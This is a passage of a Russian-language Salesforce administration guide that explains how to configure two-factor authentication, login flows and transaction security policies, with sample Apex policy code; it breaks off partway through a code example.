Подключение к приложению генератора разового пароля или устройству проверки подлинности

Отключение Salesforce Authenticator (версии 2.0 или более поздней) от учетной записи пользователя

Отключение пользовательского приложения для создания одноразовых паролей

Активация устройства, инициирующего запрос на проверку подлинности

Настраиваемые потоки входа

Журнал проверки подлинности

Набор требований при входе в систему с двухфакторной проверкой подлинности для единой
регистрации, регистрации в социальных сетях и сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
профилей и наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Используйте политику профиля и параметры сеанса для установки требований входа
пользователей в систему с двухфакторной проверкой подлинности. Поддерживаются
все методы проверки подлинности в пользовательском интерфейсе Salesforce, в том
числе имя пользователя и пароль, выделенная проверка подлинности, единый вход в
систему с поддержкой SAML, а также вход через социальные сети через стороннего
поставщика проверки подлинности. Пользователь может применять требования
двухфакторной проверки подлинности к пользователям в организациях Salesforce и
сообществах.

Для установки требования двухфакторной проверки подлинности пользователей,
назначенных определенному профилю, измените параметры профиля «Затребовать
уровень безопасности сеанса при входе в систему». Затем настройте уровень
безопасностисеансаорганизации, чтобыприменитьполитикукопределеннымметодам
входа.

Поумолчаниютребованиебезопасностисеансапривходев системудлявсехпрофилей
— «Нет». В параметрах сеанса профиля можно изменить требование на
«Высоконадежный». Если пользователи профиля с таким требованием используют
методвхода состандартнымуровнембезопасностивместовысоконадежного, например
сименемпользователямиипаролем, имбудетпредложеноустановитьличностьметодом
двухфакторнойпроверкиподлинности. Послеуспешнойпроверкипользователивходят
в систему Salesforce.

Пользователь может менять уровень безопасности, назначив способ входа в систему в
параметрах сеанса своей организации.

Пользователи с мобильными устройствами могут воспользоваться мобильным приложением средства проверки
подлинности Salesforceилидругимприложениемдлядвухфакторнойпроверкиподлинности. Внутренниепользователи
могут подключить приложение к организации на странице «Дополнительные сведения о пользователе» в личных
параметрах. Если вы установили требование к профилю «Высоконадежный», любомупользователюпрофиля, который
еще не имеет средства проверки подлинности Salesforce или другого приложения, подключенного к его организации,
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будет предложеноподключитьприложение до входа в систему. После подключенияприложения ему будет предложено
использовать приложение для проверки подлинности.

Участникам сообществ с требованием к профилю «Высоконадежный» будет предложено подключить приложение
проверки подлинности во время входа в систему.

1. В разделе «Настройка» введите «Профили» в поле «Быстрый поиск», затем выберите «Профили».

2. Выберите нужный профиль.

3. Прокрутите страницу вниз к настройкам сеанса и найдите параметр «Затребовать уровень безопасности сеанса
при входе в систему».

4. Нажмите кнопку «Правка».

5. Дляпараметра «Затребовать уровень безопасности сеанса при входе в систему» выберите «Высоконадежный».

6. Нажмите кнопку «Сохранить».

7. Вразделе «Настройка» введите «Параметры сеанса» вполе «Быстрый поиск», затем выберите «Параметрысеанса».

8. В уровнях безопасности сеанса проверьте, находится ли двухфакторная проверка подлинности в столбце
«Высоконадежный».
Если двухфакторная проверка подлинности установлена в столбце «Стандартный», будет выдана ошибка при входе
с помощью метода, который обеспечивает безопасность стандартного уровня.

9. Прим.: Переместите активацию устройства в столбец «Высоконадежный». С помощью данной настройки
пользователи, которыепроверяютподлинностьснераспознанногоустройства, устанавливаютвысоконадежный
сеанс. После этогопользователипрофиля, активирующиеустройствопривходе в систему, недолжныпроверять
подлинность повторно, чтобы удовлетворить требование высоконадежного сеанса.

Сохраните внесенные изменения.

Пример: Пользователь настроил Facebook и LinkedIn как поставщиков проверки подлинности в своем сообществе.
Многие из участников сообщества используют вход через социальные сети с именем пользователя и паролем из
своихорганизацийв Facebook или LinkedIn. Пользователь хочетповыситьбезопасность, требуя, чтобыпользователи
сообществаиспользовалидвухфакторнуюпроверкуподлинностивовремявходав системуспомощьюорганизации
в Facebook, а не в LinkedIn. Пользователь меняет профиль «Пользователь клиентского сообщества» и устанавливает
«Затребовать уровень безопасности сеанса при входе в систему» науровень «Высоконадежный». Внастройках
сеанса вашей организациипроисходит изменение уровней безопасности сеанса. Пользователь помещает Facebook
в столбец «Стандартный». В столбце «Высоконадежный» он размещает двухфакторную проверку подлинности.
Пользователь также помещает LinkedIn в столбец «Высоконадежный».

Прим.: Онтакжеможет использовать потоки входа для изменения уровня безопасности сеанса пользователя,
чтобы инициировать проверку подлинности с определенными условиями. Процедуры входа в систему
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позволяютсоздатьиндивидуальныйпроцесспослепрохожденияпроверкиподлинности, отвечающийвашим
бизнес-требованиям.

СМ. ТАКЖЕ:

Двухфакторная проверка подлинности

Настраиваемые потоки входа

Подключение Salesforce Authenticator (версия 2.0 и выше) для проверки подлинности в организации

Подключение к приложению генератора разового пароля или устройству проверки подлинности

Отключение Salesforce Authenticator (версии 2.0 или более поздней) от учетной записи пользователя

Отключение пользовательского приложения для создания одноразовых паролей

Настройка требований ко входу при двухфакторной проверке подлинности для API-доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Contact
Manager, Database.com,
Developer, Enterprise,
Group, Performance,
Professional и Unlimited

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
полномочий системы в
профилях:
• «Управление

профилями и наборами
полномочий»

Для включения данной
функции:
• «Двухфакторная

проверка подлинности
для входов посредством
пользовательского
интерфейса»

Администратор Salesforce может назначить полномочие «Двухфакторная проверка
подлинности для входов посредством API», позволяющее использовать второй запрос
проверки подлинности для API-доступа к системе Salesforce. API-доступ подразумевает
использование таких приложений, как Data Loader, а также средств разработчика для
настройки организации или создания клиентских приложений.

Полномочие «Двухфакторнаяпроверкаподлинностидлявходовпосредством API» может
бытьвключенотолькоприналичииполномочия «Двухфакторнаяпроверкаподлинности
для входов посредством пользовательского интерфейса». Пользователи с такими
полномочиями должны выполнить двухфакторную проверку подлинности при входе
в систему Salesforceпосредствомпользовательскогоинтерфейса. Пользователидолжны
загрузитьиустановитьприложениесредствапроверкиподлинностина своимобильные
устройства и подключить это приложение к своим учетным записям в Salesforce. Затем
можно использовать коды проверки (контролируемые по времени разовые пароли или
TOTP), полученные от приложения, для двухфакторной проверки подлинности.

СМ. ТАКЖЕ:

Двухфакторная проверка подлинности

Подключениекприложениюгенератораразовогопароляили устройствупроверки
подлинности

Настройка требований к входу при двухфакторной проверке подлинности

Сброс маркера безопасности

Журнал проверки подлинности
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Отключение Salesforce Authenticator (версии 2.0 или более поздней) от учетной записи пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

Одновременно только одно мобильное приложение Salesforce Authenticator (версии 2.0
или более поздней) может быть подключено к учетной записи пользователя. Если
пользователь утратил доступ кприложениюпри заменеили в случае утеримобильного
устройства, отключите приложение от учетной записи пользователя. При следующем
входе пользователя с использованием двухфакторной проверки подлинности система
Salesforce попросит пользователя подключить новое приложение для проверки
подлинности.

Важное замечание: Функциипроверки подлинности посредством всплывающих
уведомленийиавтоматическойгеолокационнойпроверкиподлинностиспомощью
мобильногоприложения Salesforce Authenticator версии 2.0 ивышестанут доступны
с 13 февраля 2016 г., после выхода выпуска Salesforce Spring ’16 для всех
производственных организаций. Предварительные версии и тестирование в
безопасной среде недоступны. В связи с особенностями процессов выпуска
приложений в интернет-магазинах App Store и Google Play версия 2.0 может стать
доступна для загрузки до того, как новый способ проверки подлинности станет
доступен в тестовых средах и производственных организациях. Пользователи,
загрузившие новую версию приложения, не смогут использовать возможности
версии 2.0 в Salesforce до выпуска нового способа проверки подлинности.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».

2. Щелкните имя пользователя.

3. На странице сведений о пользователе щелкните «Отключить» рядом с полем «Регистрация приложения:
Salesforce Authenticator».

4. Щелкните «Отключить» напротив поля «Регистрация приложения: Приложение для создания одноразовых
паролей».

Прим.: Если не нажать «Отключить» для этого поля, недоступное приложение продолжит создавать
действительные коды проверки подлинности для учетной записи.

Пользователи могут самостоятельно отключить приложение от своей учетной записи на странице «Дополнительные
сведения о пользователе». В личных настройках необходимощелкнуть «Отключить» напротив полей «Регистрация
приложения: Salesforce Authenticator» и «Регистрация приложения: Приложение для создания одноразовых
паролей».
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Отключение пользовательского приложения для создания одноразовых паролей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition

К учетной записи пользователя может быть подключено только одно мобильное
приложение средства проверки подлинности для создания проверочных кодов
(одноразовых паролей). Если пользователь теряет доступ к приложению при замене
или потере мобильного устройства, отключите приложение от учетной записи
пользователя. Приследующемвходепользователяспомощьюдвухфакторнойпроверки
подлинности система Salesforce предложит пользователю подключиться к новому
приложению средства проверки подлинности.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните имя пользователя.

3. На странице сведений о пользователе щелкните «Отключить» рядом с полем
«Регистрация приложения: Приложение для создания одноразовых паролей».

Пользователимогутотключитьприложениеот своей учетнойзаписи. Для этого следует
в разделе личных параметров перейти на страницу «Дополнительные сведения о пользователе» и нажать «Отключить»
рядом с полем «Регистрация приложения: Приложение для создания одноразовых паролей».

СМ. ТАКЖЕ:

Просмотр и управление пользователями

Редактирование личных сведений

Настраиваемые потоки входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Потокивходапозволяютадминистраторамсоздаватьпроцессыпроверкиподлинности
сообщений в соответствии с текущими бизнес-требованиями, связывать поток с
профилемпользователяиперенаправлять вошедшегопользователяподанномупотоку.
Рекомендуем использовать потоки входа для получения регистрационных сведений от
пользователей, предоставленияформыпринятияусловийобслуживания, напоминания
о необходимости ввода второго фактора проверки подлинности и т. д.

Рекомендуем использовать приложение Flow Designer для создания потоков входа и
последующего связывания данных потоков с отдельными профилями. Один поток
можетбытьсвязанснесколькимипрофилями. Пользователипрофиляперенаправляются
в поток входа после проверки подлинности, но перед перенаправлением в содержимое
организации. Окна потока входа внедряются на стандартную страницу входа Salesforce
для предоставления пользователям возможности интегрированного входа.

Потоки входа поддерживают все методы проверки подлинности в пользовательском интерфейсе Salesforce, в том числе
имя пользователя и пароль, выделеннуюпроверку подлинности, единый вход в систему с поддержкой SAML, а также вход
через социальные сети через стороннего поставщика проверки подлинности. Потоки входа можно применять к
организациям, сообществам и порталам Salesforce.

Прим.: Нельзя применять потоки входа к входам с помощью API, а также при передаче сеансов пользовательскому
интерфейсу посредством frontdoor.jsp от другого процесса входа (без использования пользовательского
интерфейса). Поддерживаются только потоки типа «Поток».
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Создание потока входа
Рекомендуем использовать облачную версию приложения Flow Designer для создания процесса потока входа и
последующего связывания готового потока с профилем.

Связывание потока входа с профилем
Активированный поток входа, созданный посредством приложения Flow Designer, связывается с профилем в вашей
организации. Затем пользователи данного профиля перенаправляются в поток входа.

СМ. ТАКЖЕ:

Облачная версия приложения Flow Designer

Создание потока входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Рекомендуем использовать облачную версию приложения Flow Designer для создания
процесса потока входа и последующего связывания готового потока с профилем.

Перенаправление пользователя, профиль которого связывается с потоком входа,
выполняется в рамках процесса проверки подлинности. Окна потока входа внедряются
на стандартную страницу входа Salesforce. При выполнении процесса проверки
подлинности данным пользователям предоставляется ограниченный доступ к окнам
потока входа. После успешной проверки подлинности и завершения потока входа
пользователь перенаправляется в организацию. В противном случае, поток может
определять явное действие по отмене доступа.

Например, администратор может создать поток входа, применяющий настраиваемую
двухфакторную проверку подлинности, для повышения уровня безопасности
организации. Подобныйпотокиспользуетметоды Apex дляполученияконтекста сеанса,
извлечения IP-адреса пользователя и проверки происхождения запроса. (Чтобы найти
или задать диапазон надежных IP-адресов, введите «Доступ к сети» в поле «Быстрый
поиск» вменю «Настройка», затемвыберите«Доступксети».) Еслиисточникомзапроса
является адресиз диапазонанадежных IP-адресов, то система Salesforceпропускаетпоток
и разрешает пользователю вход в организацию. В противном случае, система Salesforce
инициирует поток, выполняя одно из перечисленных ниже действий.

1. Перенаправление пользователя для входа путем ввода дополнительных
регистрационныхданных (например, контролируемыйповремениразовыйпароль).

2. Принудительный выход пользователя.

3. Перенаправление пользователя на страницу, содержащую дополнительные параметры.

При необходимости создайте потоки входа, которые перенаправляют пользователей на настраиваемые страницы
(например, формыдлясборадополнительнойинформацииилистраницыдляпросмотрадополнительнойинформации).

Создание собственного потока входа

Чтобы создать собственный поток входа, воспользуйтесь указанным ниже процессом.

1. Создайте поток посредством приложения Flow Designer и Apex.

Например, создайте настраиваемый поток двухфакторной проверки подлинности на основе IP-адресов,
предполагающийвводвторогофакторапроверкиподлинноститолькопользователями, находящимисявнедиапазона
надежных IP-адресов корпоративной сети. (Чтобы найти или задать диапазон надежных IP-адресов, введите «Доступ
к сети» в поле «Быстрый поиск» в меню «Настройка», затем выберите «Доступ к сети».)
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Прим.: Не рекомендуем задавать диапазоны IP-адресов входа в профиле пользователя. Диапазоны IP-адресов
входа, заданные в профиле, полностью ограничивают доступ к организации для пользователей профиля,
находящихся вне указанного диапазона, и препятствуют их входу.

Ниже перечислены обязательные компоненты потока.

a. Новый класс Apex, который определяет модуль Apex, реализующий интерфейс (Process.Plugin) и
использующий класс Auth.SessionManagement, для доступа к методам и службам контролируемого по
времениразовогопароля. НовыйклассApexдлямодуля генерируетконтролируемыйповремениключ, содержащий
QR-код, для проверки контролируемого по времени разового пароля, введенного пользователем, относительно
аналогичного пароля, созданного системой Salesforce.

b. Элемент «Окно» для сканирования QR-кода.

c. Элемент «Решение» для обработки условий действительности маркера.

Принеобходимостизадайтепеременныевводавнутрипотока. Прииспользованииуказанныхнижеимензапущенный
поток заполняется соответствующими значениями.

Описание значенияИмя

Тип пользователя (например, внешний пользователь
сообщества Chatter).

LoginFlow_LoginType

Текущий IP-адрес пользователя.LoginFlow_IpAddress

IP-адрес пользователя, используемый во время входа,
которыйможетизменитьсяпослепроверкиподлинности.

LoginFlow_LoginIpAddress

Строка агента пользователя, предоставленная
обозревателем пользователя.

LoginFlow_UserAgent

Операционная система пользователя.LoginFlow_Platform

Приложение, используемое для отправки запросов на
проверку подлинности.

LoginFlow_Application

Текущее сообщество (если данный поток входа
применяется к сообществу).

LoginFlow_Community

Текущий уровень безопасности сеанса (например,
«Стандартный» или «Высоконадежный»).

LoginFlow_SessionLevel

18-значный код пользователя.LoginFlow_UserId

При необходимости назначьте перечисленные ниже предопределенные значения переменных для конкретного
поведения потока.

Прим.: Поток загружаетданныезначениятолько послеобновленияокнапользовательскогоинтерфейса (нажатие
кнопки не инициирует загрузку значений; значения загружаются только при добавлении нового окна в поток).

Описание значенияИмя

Текстовое значение. Введите строку, определяющую
областьпереходапользователяпослевыполненияпотока

LoginFlow_FinishLocation
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Описание значенияИмя

входа. Строка должна содержать допустимый URL-адрес
Salesforce (пользователь не может выйти из организации
и остаться в потоке) или относительный путь.

Логическое значение. Назначьте данной переменной
значение true для немедленного выхода пользователя
из системы и закрытия потока.

LoginFlow_ForceLogout

2. Сохраните поток.

3. Активируйте поток.

4. Свяжите поток входа с профилем.

СМ. ТАКЖЕ:

Настраиваемые потоки входа

https://developer.salesforce.com/page/Login-Flows

Связывание потока входа с профилем

Облачная версия приложения Flow Designer

Связывание потока входа с профилем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Активированный поток входа, созданный посредством приложения Flow Designer,
связывается с профилем в вашей организации. Затем пользователи данного профиля
перенаправляются в поток входа.

1. Введите «Потоки входа» в поле «Быстрый поиск» в меню «Настройка», затем
выберите «Потоки входа».

2. Нажмите кнопку «Создать».

3. Приизмененииили удалении введите имя для ссылкина связь с потоком входа. Имя
не обязательно должно быть уникальным.

4. Выберитепотоквходадляпрофиля. Раскрывающийсясписоксодержитвседоступные
потоки, сохраненныевприложении Flow Designer. Поддерживаютсятолькоактивные
потоки типа «Поток».

5. Выберите пользовательскую лицензию для профиля, к которому нужно подключить поток. В списке профилей
отобразятся профили с этой лицензией.

6. Выберите профиль для подключения к потоку входа.

7. Нажмите кнопку «Сохранить».

Теперь пользователи профиля перенаправляются в поток входа.

Посленазначенияпотока входаможноизменятьили удалятьпотоки, перечисленныена данной страницепотоков входа.
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Можно связать поток входа с одним или несколькими профилями. Тем не менее, профиль может быть связан только с
одним потоком входа.

СМ. ТАКЖЕ:

Настраиваемые потоки входа

Создание потока входа

Облачная версия приложения Flow Designer

Политики безопасности транзакций

Политики безопасности транзакций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Требуется приобретение
подписок на
дополнительные
компоненты Salesforce
Shield или Salesforce Shield
Event Monitoring.

Просматривайте события организации и выбирайте действия, которые должны
выполнятьсяпринаступленииопределенныхобстоятельств. Безопасностьтранзакций —
это инфраструктура, которая отслеживает события Salesforce в реальном времени,
выполняет соответствующие действия и отправляет уведомления на основе созданных
политик безопасности. Безопасность транзакций отслеживает события согласно
настроенным политикам. При инициировании политики пользователю может быть
отправлено уведомление и предложено выполнение дополнительного действия.

Политики оценивают действия посредством указанных событий. Каждой политике
назначаются оперативные действия (например, отправка уведомления, блокировка,
применениедвухфакторнойпроверкиподлинностииливыборсеансадля завершения).
После включения безопасности транзакций для организации создается две политики:

• политика «Ограничение параллельных сеансов» для ограничения параллельных
сеансов входа;

• политика «Экспорт интересов Data Loader» для блокировки загрузки слишком
большого объема данных через API-интерфейсы.

В организации также создаются соответствующие классы Apex для политик.
Администратор может включить политики сразу или отредактировать классы Apex для
их настройки.

Например, администратор активирует политику «Ограничение параллельных сеансов» для ограничения количества
параллельныхсеансовнаодногопользователя. Крометого, администраторвыбираетполучениеэлектронныхуведомлений
приинициированииполитики. ТакжеадминистраторобновляетреализациюApexполитикидляограниченияколичества
сеансов, доступных пользователям, до трех (вместо пяти). (Все намного проще, чем кажется.) При попытке пользователя,
выполнившеготрисеанса входа, создатьчетвертыйсеансполитикапрепятствуетданномудействиюитребует завершить
один из текущих сеансов перед созданием нового сеанса. При этом администратору отправляется уведомление об
инициировании политики.

Политика безопасности транзакций состоит из событий, уведомлений и действий.

• Применяемые политики, состоящие из событий. Доступные типы событий:

– «Экспорт данных» для объектов «Организация», «Контакт», «Интерес» и «Возможность»

– «Объект» для поставщиков и сеансов проверки подлинности, обозревателей клиента и IP-адреса входа

– «Входы»

– «Доступ к ресурсу» для связанных приложений, отчетов и панелей мониторинга
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• Доступные уведомления политики (Пользователи могут получать электронные уведомления, внутрипрограммные
уведомления или уведомления обоих типов.)

• Выполняемые действия при инициировании политики:

– Блокировка операции

– Требование более высокого уровня безопасности сеанса посредством двухфакторной проверки подлинности

– Завершение текущего сеанса

При необходимости пользователи могут получать только уведомления без выполнения каких-либо действий.
Доступные действия определяются выбранным типом события.

Настройка безопасности транзакций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Требуется приобретение
подписок на
дополнительные
компоненты Salesforce
Shield или Salesforce Shield
Event Monitoring.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления политиками
безопасности транзакций:
• «Автор Apex»

И

«Настройка
приложения»

Прежде чем начать создание собственных настраиваемых политик, активируйте и
настройтебезопасность транзакцийдляорганизации. Даннаяфункциядоступна только
активному пользователю с профилем «Системный администратор».

1. Включите политики безопасности транзакций, чтобы предоставить к ним доступ.
Данноедействиевыполняетсяодинразприпервоначальномдоступекбезопасности
транзакций.

a. Введите строку «Безопасность транзакций» в поле «Быстрый поиск» меню
«Настройка» и выберите пункт «Безопасность транзакций».

b. Чтобывключитьсписковоепредставлениеполитикиустановитьпредоставляемые
политики, выберите параметр «Включить настраиваемые политики
безопасности транзакций» вверху страницы.

Политика ConcurrentSessionsLimitingPolicy ограничивает параллельные сеансы и
инициируется двумя способами.

• При попытке пользователя, выполнившего пять сеансов входа, создать шестой
сеанс.

• Припопыткеадминистратора, выполнившеговход, выполнитьповторныйвход.

Чтобы задать количество сеансов, доступное пользователям, измените реализацию
политики Apex ConcurrentSessionsPolicyCondition.

Политика «Экспорт интересов Data Loader» блокирует загрузку слишком большого
объема данныхчерезAPI-интерфейсы. Она выполняетсяприиспользованиивызова
API, который работает в течение более 1 секунды для загрузки более 2000 записей
интересов. Эти значения можно изменить в реализации политики
DataLoaderLeadExportCondition.

2. После включения безопасности транзакций выберите настройки для организации.

a. Щелкните «Стандартные настройки» на странице «Политики безопасности
транзакций».

b. Выберите настройку «При превышении максимально допустимого
количества сеансов Salesforce завершить самый давний сеанс».

Политикивхода влияютнапрограммныйдоступ, а такжедоступпосредствоминтерфейсов Salesforce Classicи Lightning
Experience. При создании политики, ограничивающей количество параллельных сеансов пользователя, данное
ограничение учитывает все сеансы: обычные входы посредством имени пользователя и пароля, входы посредством
веб-приложений, входы посредством поставщиков проверки подлинности и все другие типы входов.
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Ограничениесеансане являетсяпроблемойдляинтерфейсов Salesforce Classicи Lightning Experience ввидуотображения
запросанавыборсеансов, подлежащихзавершению. Данныйвыборнедоступенвнутрипрограммы, поэтомупрограмма
получает исключение безопасности транзакций, уведомляющее о достижении ограничения сеанса.

Выбор настройки «При превышении максимально допустимого количества сеансов Salesforce завершить
самый давний сеанс» препятствует возникновению данной проблемы. При выполнении программного запроса,
требующего входа, и использовании всех допустимых сеансов система завершает более давние сеансы до тех пор,
покаколичествосеансовнепревышаетустановленноеограничение. Даннаянастройка такжеподдерживаетсявходами,
выполняемыми посредством пользовательского интерфейса. Вместо отображения запроса на выбор сеанса,
подлежащего завершению, система автоматически завершает самый давний сеанс и выполняет новый сеанс входа.
Таблица ниже описывает порядок обработки процессами OAuth политик входа при наличии и отсутствии данной
настройки.

Действие при отмене выбора настройкиДействие при выборе настройкиТип процесса

Предоставляется только код авторизации.

Более давние сеансы завершаются при
соответствии пользователя заданной
политике.

Предоставляютсякодавторизацииимаркер
доступа.

Более давние сеансы завершаются при
соответствии пользователя заданной
политике.

Веб-сервер OAuth 2.0

Предоставляется маркер доступа.

Более давние сеансы завершаются при
соответствии пользователя заданной
политике.

Предоставляется маркер доступа.

Более давние сеансы завершаются при
соответствии пользователя заданной
политике.

Пользователь-агент
OAuth 2.0

Исключение TXN_SECURITY_END_SESSIONПредоставляется маркер доступа.

Более давние сеансы завершаются при
соответствии пользователя заданной
политике.

Маркер обновления
OAuth 2.0

Исключение TXN_SECURITY_END_SESSIONПредоставляется маркер доступа.

Более давние сеансы завершаются при
соответствии пользователя заданной
политике.

Маркер носителя OAuth
2.0 JWT

Исключение TXN_SECURITY_END_SESSIONПредоставляется доступ.

Более давние сеансы завершаются при
соответствии пользователя заданной
политике.

Утверждение носителя
OAuth 2.0 SAML

Запрещается доступ ввиду превышения
допустимого количества сеансов.

Предоставляется доступ.

Более давние сеансы завершаются при
соответствии пользователя заданной
политике.

Имя пользователя и
пароль OAuth 2.0

Не применимоНе применимоУтверждение SAML
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Дополнительнуюинформациюопроцессахпроверкиподлинностисм. вразделе «Проверкаподлинностиприложений
посредством OAuth» справки Salesforce.

Создание настраиваемых политик безопасности транзакций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Требуется приобретение
подписок на
дополнительные
компоненты Salesforce
Shield или Salesforce Shield
Event Monitoring.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления политиками
безопасности транзакций:
• «Автор Apex»

И

«Настройка
приложения»

Пользователи могут создавать собственные настраиваемые политики, инициируемые
конкретными событиями. Даннаяфункция доступна только активному пользователю с
профилем «Системный администратор».

1. Введите строку «Безопасность транзакций» в поле «Быстрый поиск» меню
«Настройка», выберите пункт «Безопасность транзакций» и нажмите кнопку
«Создать» в разделе «Настраиваемые политики безопасности транзакций».

2. Заполните поля основных сведений для новой политики.

• Во избежание неясностей и проблем при обслуживании, рекомендуем
использовать похожие имена для API и политики. Данное имя должно быть
уникальнымиможетсодержатьтолькобуквы, цифрыисимволыподчеркивания.
Имя должно начинаться с буквы; не может содержать пробелов и двух
последовательных символов подчеркивания, а также не может заканчиваться
символом подчеркивания.

• «Тип события»: данноеполеопределяетдоступныедействия. Нижеперечислены
возможные значения.

– «Вход»: вход пользователя. Данное значение позволяет задавать любую
комбинацию уведомлений, а также действия ниже.

• Полная блокировка доступа

• Для продолжения требуется двухфакторная проверка подлинности

• Для продолжения требуется завершение текущего сеанса входа

– «Объект»: тип объекта. Выберите конкретный ресурс и нужный тип
уведомлений.

– «Экспортданных»: уведомлениепользователяобэкспорте выбранноготипа
объекта посредством API-клиента Data Loader.

– «Доступ к ресурсу»: уведомление пользователя о доступе к выбранному
ресурсу. Пользователи могут блокировать доступ или требовать
двухфакторную проверку подлинности перед предоставлением доступа.

• «Уведомления»: данноеполепозволяетвыбиратьметодыуведомлениядлякаждой
политики.

• «Получатель»: данное поле должно содержать имя активного пользователя с профилем «Системный
администратор».

• «Оперативные действия»: данное поле определяет действия, которые должны выполняться при инициировании
политики. Доступные действия определяются выбранным типом события. Электронные и внутрипрограммные
уведомления доступны всегда. При наличии событий типа «Вход» и «Доступ к ресурсу» пользователь может
блокировать действие или требовать более высокий уровень управления доступом посредством двухфакторной
проверки подлинности. При наличии событий типа «Вход» пользователь может требовать завершение
существующегосеансапередпродолжениемтекущегосеанса. Принеобходимостистандартноедействиезавершения
сеанса может всегда закрывать самый давний сеанс.
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Прим.: Двухфакторная проверка подлинности не поддерживается приложением Salesforce1 или Lightning
Experience для типа события «Доступ к ресурсу». Взамен используется действие «Блокировать».

Важное замечание: Нерекомендуемсоздаватьполитику, требующуювыполнениядвухфакторнойпроверки
подлинностибезпредварительногопредоставленияпользователямвозможностиполученияконтролируемого
повремениразовогопароля. Данныйпарольявляетсявторымфакторомпроверкиподлинности. Впротивном
случаепристеченииобстоятельств, требующихвводавторогофакторапроверкиподлинности, пользователи
не могут завершить текущие задачи (например, вход или выполнение отчета).

• При необходимости заполните поле «Политика Apex» текущим классом или выберите «Создать Apex» для
создания стандартного класса политики, реализующего интерфейс TxnSecurity.PolicyCondition.

• Пользователю, выбранному в поле «Выполнить политику как:», должен быть назначен профиль «Системный
администратор».

3. Принеобходимостисоздайте условиедля конкретного свойства в контекстеполитики. Например, создайтеполитику,
инициируемуюпри использовании конкретного IP-адреса источника для доступа к отчету или панели мониторинга.
Проверяемым свойством является IP-адрес источника.

• Доступные свойства определяются выбранным типом события.

• Например, привыборесобытия «Вход» доступныизменениясвойств, выполненныевтечениеуказанногоколичества
дней, или точное совпадение со значением свойства.

4. Чтобы включить политику, установите соответствующийфлажок. Пользователи могут включать и выключать
политики согласно текущим требованиям.

5. Нажмите кнопку «Сохранить».

После сохранениявнесенныхизмененийпользователюотображается страницаредактированияновойполитики. Данная
страница позволяет изменять политику и проверять соответствующий класс Apex.

При создании интерфейса Apex для политики без предварительного выбора значения условия рекомендуем добавить
условие позже. Прежде чем активировать политику, рекомендуем отредактировать код Apex путем добавления условия.
Отсутствие условия препятствует инициированию политики.Примеры см. в разделе «Политики Apex для уведомлений
о безопасности транзакций».

Несмотрянавозможностьсозданияразныхполитикдляодноготипасобытия, рекомендуемизбегатьналоженияполитик
иихдействий. Всеполитикидлявыбранногособытиявыполняютсяпринаступлениисобытия, нопорядокихвыполнения
остаетсянеизвестным. Например, приналичиидвухполитик, включенныхдля экспортированногоконтакта, пользователь
не может знать, какая политика будет инициирована первой. Если одна политика копирует контакт, а другая политика
удаляет контакт, то операция удаления, выполняемая первой, будет препятствовать копированию.
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Политики Apex для уведомлений о безопасности транзакций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Требуется приобретение
подписок на
дополнительные
компоненты Salesforce
Shield или Salesforce Shield
Event Monitoring.

Каждая политика безопасности транзакций должна реализовывать интерфейс Apex
TxnSecurity.PolicyCondition. Ниже перечислены некоторые примеры.

При создании интерфейса Apex для политики без предварительного выбора значения
условия рекомендуем добавить условие позже. Прежде чем активировать политику,
рекомендуем отредактировать код Apex путем добавления условия. Отсутствие условия
препятствует инициированию политики. Способы создания условия см. в примерах
ниже.

Удаление политики безопасности транзакций не инициирует удаление реализации
TxnSecurity.PolicyCondition. КодApexможетповторноиспользоватьсявдругих
политиках.

Данный пример политики Apex реализует политику, инициируемую при выполнении
входа посредством разных IP-адресов за последние 24 часа.

Пример:

global class LoginPolicyCondition implements
TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
AggregateResult[] results = [SELECT SourceIp FROM

LoginHistory
WHERE UserId = :e.userId AND

LoginTime = LAST_N_DAYS:1 GROUP BY SourceIp];
if(!results.isEmpty() && results.size() > 1) {
return true;

}
return false;

}
}

Данный пример политики Apex реализует политику, инициируемую при создании сеанса посредством конкретного
IP-адреса.

Пример:

global class SessionPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
